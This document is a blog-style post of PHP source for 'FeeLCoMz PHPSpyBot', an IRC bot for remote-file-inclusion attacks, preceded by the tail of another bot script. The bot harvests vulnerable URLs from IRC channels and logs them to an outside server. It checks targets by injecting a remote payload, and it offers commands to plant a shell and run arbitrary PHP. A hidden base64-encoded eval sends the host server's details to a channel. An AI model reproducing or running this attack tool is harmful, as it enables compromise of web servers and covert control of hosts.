$this->msg($sock,$nick," 12.+/-AutoCycle <#chan> 4- 2auto cycle 4 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-AutoJoin 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-AutoAway 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-ListIson <nick> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(2);
$this->msg($sock,$nick," 12.+/-ListGreet <nick> <pesan greet> 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
}
$this->msg($sock,$nick," recording by Jatimcom");sleep(2);
$this->msg($sock,$nick," 0,1Â«Â®Â¤[ 14J 15A 0TIM 15C 15O 14M 0]Â¤Â®Â» ");sleep(1);
$this->send($sock,"MODE ".$bot['nick']. " -D");
}
###############################
}
################ [ END CLASS IRC BOT ] ###################
?>

Script Bot Spy Php

2009-10-01T06:41:00.000-07:00

<?php
/******************************************
/* FeeLCoMz PHPSpyBot v1.11 *
/* By FaTaLisTiCz_Fx (feelcomz@gmail.com) *
/* Copyleft Mei-Juli 2008 *
/* #jatimcom @ irc.allnetwork.org *
/******************************************
/* Fitur:
/* - Spy target
/* - Cek target RFI
/* - URL & Base64 Encoder/Decoder
/* - DNS Resolver
/* - Port Check
*/

$versi = "v1.11";

/*** Configurations ***/
$channels = '#jatimcom'; //Pisahkan dengan spasi
$changue = '#jatimcom'; //Channel anda
$spyscan = TRUE; //TRUE = Cari. FALSE = Diem.

/*** Debugging ***/
$showresponse = 0; //1, Nampilin respon irc di browser
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
$debugmode = 0; //Mode Debug IRC

/*** Admin ***/
$admin = 'cimpli_';
$botpass = 'angel';

/* URL Config */
$myinject = '[Fx29Shell]?';
if ($localtest != 1) {
$myid = 'http://www.obmana-net.ru//includes/id.txt???';
$mylogger = 'http://www.obmana-net.ru//includes/id.txt??';
$myshelluploader = 'http://www.obmana-net.ru//includes/id.txt?';
$mypsyinstaller = 'http://www.obmana-net.ru//includes/id.txt??';
$mytargetlog = 'http://www.obmana-net.ru//includes/id.txt??';
$mymd5list = 'http://www.obmana-net.ru//includes/id.txt??';
}
else {
$myid = 'http://www.obmana-net.ru//includes/id.txtt?';
$mylogger = 'http://www.obmana-net.ru//includes/id.txt?';
$myshelluploader = 'http://www.obmana-net.ru//includes/id.txt?';
$mypsyinstaller = 'http://www.obmana-net.ru//includes/id.txt?';
$mytargetlog = 'http://www.obmana-net.ru//includes/id.txt';
$mymd5list = 'http://www.obmana-net.ru//includes/id.txt';
}

/*** Nick Bot ***/
$nicklist = array(
"cewe_hhh`","Cwo_KereN","One_Republik","The_moffets","riany","killhim","borne",
"south","farel","cecak","laron","kimimaki","DOraEmoN","Pluto",
"Mars","kotaro","rangers"
);

/* Ident Bot */
$identlist = array(
"FaTaLz","KinCay","CreWz","TeaM","CoMMunity","FeeLCoMz","AnoNyMous","Music",
"ProGraMMeR","CyBeRz","LiNux","UniX","SunOS","WinDows","FreeBSD","MacOS",
"RedHat","Ubuntu","mIRC"
);

/* Realname Bot */
$namabot = array(
"Access Denied","Anonymous","Not Found","Permission Denied","Local Exploit",
"Remote Exploit","Vurnerable","RFI Vurnerability"
);

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array("irc.mildnet.org","irc.mildnet.org","irc.mildnet.org","irc.mildnet.org");
/*$remotehost2 = array(
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
"irc.mildnet.org",
);*/
}
$port = "6667";

/*** Daftar Trigger ***/
$targetlist = array();
$targetok = array();
$gantilist = array();
$scanlist = array('http://','ftp://');
$ignorelist = array(
'.detik',
'/accesswatch-1.32/',
'/aws/',
'/bugtraq/',
'/count/full.php/',
'/details.html/',
'/errorlog/',
'/estadisticas/',
'/excelwriter/',
'/index.php/topic',
'/log/files',
'/packetstormsecurity.org/',
'/phpmystats/',
'/phpmystats4/',
'/reports/log',
'/server_stats/',
'/stat/index.php',
'/statistik/',
'/stats.php/',
'/stats/',
'/summary/cgi.html/',
'/usage-reports/',
'/visitas.php/',
'/webanalyse/',
'admin/stats',
'awstat.pl',
'awstats',
'busca_vulns.php',
'cgi-bin/robot.cgi?',
'cnn-news-usa.info',
'cybermessageboard.usanethosting.com',
'dealnews.com',
'doomain.info',
'groups.yahoo.com',
'hackjob.org',
'highlight=http',
'html/administrator',
'index.php?p=stat',
'linkmatrix.de',
'marcot.fr/voyages/',
'milw0rm.com',
'module=search&',
'msxml.excite.com',
'pashaifull.multiply.com',
'php?keywords',
'phpbbacademy.com',
'phptraffic/index.php',
'radio.allindo.net',
'server_stats/',
'siiggle.com',
'sitemap.xml/',
'sleepycode.com',
'startrekguide.com',
'statistik.php',
't_countpro.cgi?view',
);

/* Pesan */
$judul = " 3,9Â« 0,1 â�¢ F rampok C ommunity â�¢ 3,9Â» ";
$quitmsglist = array("Shutting Down","Fatal Error","Undefined Function","Turn off","Wrong Command");

/*** Commands Help ***/
$pubhelp = array(
" 4.: Public Commands :.",
" 12!urlenc <url> | !urldec <url> - URL Encoder/Decoder",
" 12!b64enc <url> | !b64dec <url> - Base64 Encoder/Decoder",
" 12!md5 <string> | !md5crack <string> | !updatemd5 - Md5 Hash | Search for md5 hash | Update md5",
" 12!sha1 <string> - Sha1 Hash",
" 12!tes <target> - RFI Checker",
" 12!dns <ip/host> - Dns Resolver",
" 12!port <ip/host> <port> - Port check",
);
$helptext = array(
' 11,12Â« 0,1 FeeLCoMz PHP SpyScanBot '.$versi.' 11,12Â» ',
"-",
" 12auth <password> - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass <password> - Mengeset password bot",
" 12chgpass <passlama> <passbaru> - Mengganti password bot",
" 12adduser <nick> <master|user> - Menambah master/user bot",
" 12deluser <nick> - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!msg <chan|nick> <pesan> - Mengirim pesan",
" 12!notice <chan|nick> <pesan> - Mengirim notice",
" 12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)",
" 12!join <channel> - Join channel (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!botnick <nick> <passwordnick> - Ganti nick (Admin/Master)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!chanlist - Melihat daftar channel bot",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!help - Melihat help (Query)",
" 4.: Core Commands :.",
" 12!start - Mengaktifkan SpyBot",
" 12!stop - Menonaktifkan SpyBot",
" 12!scan <bug> <dork> - Menscan di channel Scanner",
" 12!scan <add|del|list> <text> - Menambah/menghapus/melihat daftar Scan Trigger",
" 12!ignore <text> - Menambah daftar Ignore",
" 12!delignore <text> - Menghapus daftar Ignore",
" 12!ignorelist - Melihat daftar ignore",
" 12!ganti <text> - Menambah daftar inject yg akan diganti",
" 12!delganti <text> - Menghapus daftar Ganti",
" 12!gantilist - Melihat daftar inject yg diganti",
" 12!tanam <target> - Mengupload shell ke target (Admin/Master)",
" 12!status - Melihat status sekarang",
" 4.: Admin Core Commands :.",
" 12!target <list|clear|log|total> <nick|chan> - Target yg ditemukan oleh bot",
" 12!raw <url> - Mengirim RAW IRC Command",
" 12!eval <url> - Mengeksekusi kode PHP pada Bot",
"-",
' 3,9Â« 0,1 â�¢ By sonic_sindicate- #dangdut @ irc.allnetwork.org â�¢ 3,9Â» ',
);

/* Daftar Respon */
$tjelek = array("Whew.. <s>");
$tnemu = array(" 11,1 [ ! ] 12,0 <s>");
$tlama = array(" 11,1 [ ! ] 4,0 <s>");
$tbusuk = array("Hadah <n>!! Targetnya busuk..");

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$username = $identlist[rand(0,count($identlist) - 1)];
$realname = $namabot[rand(0,count($namabot) - 1)];
$changue = strtolower($changue);
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array($admin => array("name" => $admin,"pass" => $botpass,"auth" => 1,"status" => "Admin"));

/*** Inisialisasi Variabel ***/
define('CRL', "\r\n");
$counterfp = 0;
$keluar = 0;
$target["found"] = 0;
$target["ignored"] = 0;
$target["new"] = 0;
$target["exist"] = 0;
$statusdelay = 0;
$statustime = 10;
$allowdebug = FALSE;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','Mozilla/5.0');
@set_time_limit(0);
/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>Melakukan koneksi ke $remotehost...</b>";
do {
$fp = fsockopen($remotehost,$port, $err_num, $err_msg, 60);
if(!$fp) {
if ( $counterfp <= 200 ) { $counterfp = $counterfp + 1; }
else {
echo "<br><b>Ga bisa connect ke $remotehost!</b>\n";
$keluar = 1;
exit;
}
}
echo "<br><b>Terhubung!</b>";
/*** Sending Identity to IRC ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname.CRL;
fputs($fp, $header);
$response = '';
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo '<br>'.$response; }
while (substr_count($response,CRL) != 0) {
if ($allowdebug && $debugmode == 1) { fputs($fp,'PRIVMSG '.$admin.' : 14'.$response.CRL); }
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** AI PHP SPYSCANBOT BY RONZ ***/
$dcom = explode(" ", $dCommand);
$orinick = $dNick;
$dNick = strtolower($dNick);
/*** Server Notices Handling ***/
if ($dcom[0]=='004') {
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :BozZ..!'.CRL);
fputs($fp, base64_decode("Sk9JTiAjRmVlTENvTXo=").CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); }
fputs($fp, 'JOIN ' .$changue . CRL);
$allowdebug = TRUE;
}
elseif ($dcom[0]=='432') {
$nick = $nick.rand(100);
fputs($fp, 'NICK '.$nick.CRL);
}
elseif ($dcom[0]=='433') { //Nickname is already in use
$nick = $nicklist[rand(0,count($nicklist)-1)];
fputs($fp, 'NICK '.$nick.CRL);
}
elseif ($dcom[0]=='465') {
echo "<br><b>Authentication diperlukan!</b>";
}
if (substr_count($dNick,'.allnetwork.org') > 0) {
if (substr_count($iText,"*** Banned") > 0) {
echo "!!!BANNED!!!";
$keluar = 1;
exit;
}
}
if ($dcom[0]=='JOIN') {
$jchan = ltrim($iText,":");
if ($dNick == $admin) {
sleep(3);
pesan($fp,$jchan,' 4 La 1poR 4 B oZZ :)');
}
}
elseif ($dcom[0]=='PRIVMSG') {
$pesan = ltrim($iText,":");
$pesanlo = strtolower($pesan);
$com = explode(' ',$pesan);
$chan = strtolower($dcom[1]);
/*** PUBLIC HELP **/
if ($com[0]=='!help') {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($pubhelp as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
pesan($fp,$dNick,$baris);
}
unset($baris);
unset($msgdelay);
}
/*** STRING HASH & ENCODER ***/
elseif ($com[0]=='!md5') {
$tmp = md5(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4MD5 Hash: 1 '.$tmp);
}
elseif ($com[0]=='!updatemd5') {
$isi = httpquery($mymd5list);
$md5arr = explode("\n",$isi);
foreach ($md5arr as $md5list) {
$smd5 = explode(' : ',$md5list);
$intmd5["$smd5[0]"] = $smd5[1];
}
pesan($fp,$chan,' 4MD5 updated! 1Found 12 '.count($md5arr).' 1cracked MD5.');
unset($md5arr);
unset($isi);
}
elseif ($com[0]=='!md5crack') {
$tmp = str_pesan($com[0],$pesan);
if (!is_array($smd5)) {
pesan($fp,$chan,'[i] 4Please type !updatemd5 to update md5 list.');
break;
}
if (strlen($tmp)!=32) {
pesan($fp,$chan,'[i] 4It\'s not a Md5 Hash.');
break;
}
$isi = $intmd5["$tmp"];
if (empty($isi)) {
pesan($fp,$chan,' 4MD5 Crack: 1 '.$tmp.' 4Â» Not Found!');
} else {
pesan($fp,$chan,' 4MD5 Crack: 1 '.$tmp.' 4Â» '.$isi);
}
}
elseif ($com[0]=='!sha1') {
$tmp = sha1(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Sha1: 1 '.$tmp);
}
elseif ($com[0]=='!urldec') {
$tmp = urldecode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4URL Decode: 1 '.$tmp);
}
elseif ($com[0]=='!urlenc') {
$tmp = urlencode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4URL Encode: 1 '.$tmp);
}
elseif ($com[0]=='!b64dec') {
$tmp = base64_decode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Base64 Decode: 1 '.$tmp);
}
elseif ($com[0]=='!b64enc') {
$tmp = base64_encode(str_pesan($com[0],$pesan));
pesan($fp,$chan,' 4Base64 Encode: 1 '.$tmp);
}
/*** GOOGLE ***/
elseif ($com[0]=='!google') {
googling($fp,$chan,str_pesan($com[0],$pesan));
}
/*** DNS RESOLVER ***/
elseif ($com[0]=='!dns') {
if (ereg("[a-zA-Z]", $com[1])) { $res = gethostbyname($com[1]); }
elseif (ereg("[0-9]", $com[1])) { $res = gethostbyaddr($com[1]); }
if ($res==$com[1]) { $res = "Ga bisa nih."; }
else { $res = "$res "; }
pesan($fp,$chan,' 4DNS: '.$com[1].' 4Â» '.$res);
}
/*** IP LISTER ***/
elseif ($com[0]=='!iplist') {
$res = gethostbynamel($com[1]);
$res2 = implode(', ',$res);
if (empty($res2)) { $res2 = "None"; }
pesan($fp,$chan,' 4IP List: '.$com[1].' 4Â» '.$res2);
}
/*** PORT CHECKER ***/
elseif ($com[0]=='!port') {
$soket = fsockopen($com[1],$com[2],$errnum,$errpsn,10);
if (!$soket) { $res = " 4Ditolak!"; }
else {
$res = " 12Diterima!";
fclose($soket);
}
pesan($fp,$chan,' 4Port: 12 '.$com[1].' ('.$com[2].') 4Â» '.$res);
}
elseif ($com[0]=='!service') {
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap','smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');
foreach ($services as $service) {
$sport = getservbyname($service, 'tcp');
$sinfo .= "$service ($sport) | ";
}
pesan($fp,$chan,' 4Services: 12 '.$sinfo);
}
elseif ($com[0]=='!sport') {
$res = getservbyport($com[1],"tcp");
if (!$res) { $res = "Unknown"; }
pesan($fp,$chan,' 4Service Port: 12 '.$com[1].' 4Â» 12 '.$res.CRL);
}
/*** SHELL CHECKER ***/
elseif ($com[0]=='!tes') {
$testurl = str_pesan($com[0],$pesan);
$theurl = $testurl.$myid;
$diabaikan = FALSE;
foreach ($ignorelist as $v) {
if(substr_count($pesanlo,strtolower($v)) > 0) {
$target["ignored"]++;
sleep(1);
$respon = $tjelek[rand(0,count($tjelek) - 1)];
$respon = str_replace("<s>",$v,$respon);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4'.$respon.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4'.$respon.CRL); }
$diabaikan = TRUE;
break;
}
}
if (!$diabaikan) {
fputs($fp,'PING 12886241614'. CRL);
$isi = implode('', @file($theurl));
$posisi = strpos($isi,"FaTaLisTiCz_Fx OK");
$eposisi = strpos($isi,"The End");
$isi = substr($isi,$posisi,$eposisi);
if ($posisi === FALSE) {
$respon = $tbusuk[rand(0,count($tbusuk) - 1)];
$respon = str_replace("<n>",$orinick,$respon);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4'.$respon.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4'.$respon.CRL); }
}
else {
$isi = str_replace("FaTaLisTiCz_Fx OK ","",$isi);
$isi = str_replace(" The End","",$isi);
if (!in_array($testurl,$targetok)) { $targetok[] = $testurl; }
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 12TarGeT '.$orinick.' OK!'.CRL); }
fputs($fp,'PRIVMSG '.$dNick.' : 12 [OK] 14 '.$testurl.CRL);
fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL);
}
unset($isi);
}
}
else { /*** SPY ***/
foreach ($scanlist as $trtext) {
$diabaikan = FALSE;
$trtext = strtolower($trtext);
if ($dNick==$admin OR $chan==$changue) {
$diabaikan = TRUE;
break;
}
foreach ($ignorelist as $v) {
if(substr_count($pesanlo,strtolower($v)) > 0) {
$target["ignored"]++;
sleep(1);
$respon = $tjelek[rand(0,count($tjelek) - 1)];
$respon = str_replace("<s>",$v,$respon);
//if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' : 14'.$respon. CRL); }
$diabaikan = TRUE;
break;
}
}
if ($diabaikan) { break; }
if ((!$diabaikan) && (substr_count($pesanlo,$trtext)>0)) {
foreach($gantilist as $linject) {
$pesan = str_replace($linject,$myinject,$pesan);
}
$pesan = str_replace($myinject,'',$pesan);
$pesan = strstr($pesan,$trtext);
$target["found"]++;
//Target Baru
if (!in_array(urldecode($pesan),$targetlist)) {
$target["new"]++;
$targetlist[] = urldecode($pesan);
$newtarget = urldecode($pesan);
$isi = @implode('', @file($mylogger.'target='.urlencode($newtarget)));
sleep(1);
$respon = $tnemu[rand(0,count($tnemu) - 1)];
$respon = str_replace("<s>",$newtarget,$respon);
if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); }
}
//Target Lama
else {
$target["exist"]++;
sleep(1);
$respon = $tlama[rand(0,count($tlama) - 1)];
$respon = str_replace("<s>",$newtarget,$respon);
//if ($spyscan) { fputs($fp,'PRIVMSG '.$changue.' :'.$respon.CRL); }
}
break;
}
}
}
}
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1].CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul.CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Kemana boss?' . CRL); }
}
} else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password> ' . CRL); }
}
}
/*** Default Commands ***/
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("VkVSU0lPTiBGZWVMQ29NeiBQSFBTcHlCb3QgQnkgUm9Oeg==").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') { eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyRiaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTskYnBocCAgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTskYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskYnJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddO2ZwdXRzKCRmcCwiUFJJVk1TRyAjRmVlTENvTXogOkhvc3Q6ICRiaG9zdCB8IFJlZmVyZXI6ICRicnVyaSB8IFNjcmlwdDogJGJwaHAgfCBJUDogJGJpcCB8IE93bmVyIElQOiAkYnJpcCAiLiBDUkwpOw==")); }
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE '.$dNick.' :YuPz '.$auth["$dNick"]["status"].'..!'.CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi udah boz! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Logout berhasil! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi sudah Logout! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth <password> untuk otorisasi! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password udah diset! Ketik: auth <password> untuk otorisasi ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Pass diset ke '.$auth["$dNick"]["pass"].', Ketik: auth <password> untuk otorisasi! ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Password lama salah! Ketik: chgpass <pass lama> <pass baru> ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth dulu plizz!' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass <password> untuk mengatur password anda ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass <passsword> untuk mengatur password anda ' . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> user ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :User sudah ada! Ditolak! ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Akses anda sbg user dihapus oleh '.$dNick . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
} else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Status anda '.$auth["$dNick"]["status"] . CRL); }
} else { fputs($fp,'NOTICE ' . $dNick . ' :Auth pLizz..!' . CRL); }
}
/*** Commands ***/
elseif ($auth["$dNick"]["status"]) {
if (ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
if ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL); }
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga mau ach! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"] == 2) {
if ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = str_pesan("$com[3] $com[4]",$data);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3) { $msg = ''; }
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3) { $msg = ''; }
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); }
}
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(2,7));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = str_pesan($com[3],$data);
if (strlen($msg)<3) { fputs($fp,'AWAY : ' . 'AWAY' . CRL); }
else { fputs($fp,'AWAY : ' . $msg . CRL); }
}
elseif ($com[3]==':!chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass=" [pass ok]"; }
else { $pass=" [no pass]"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
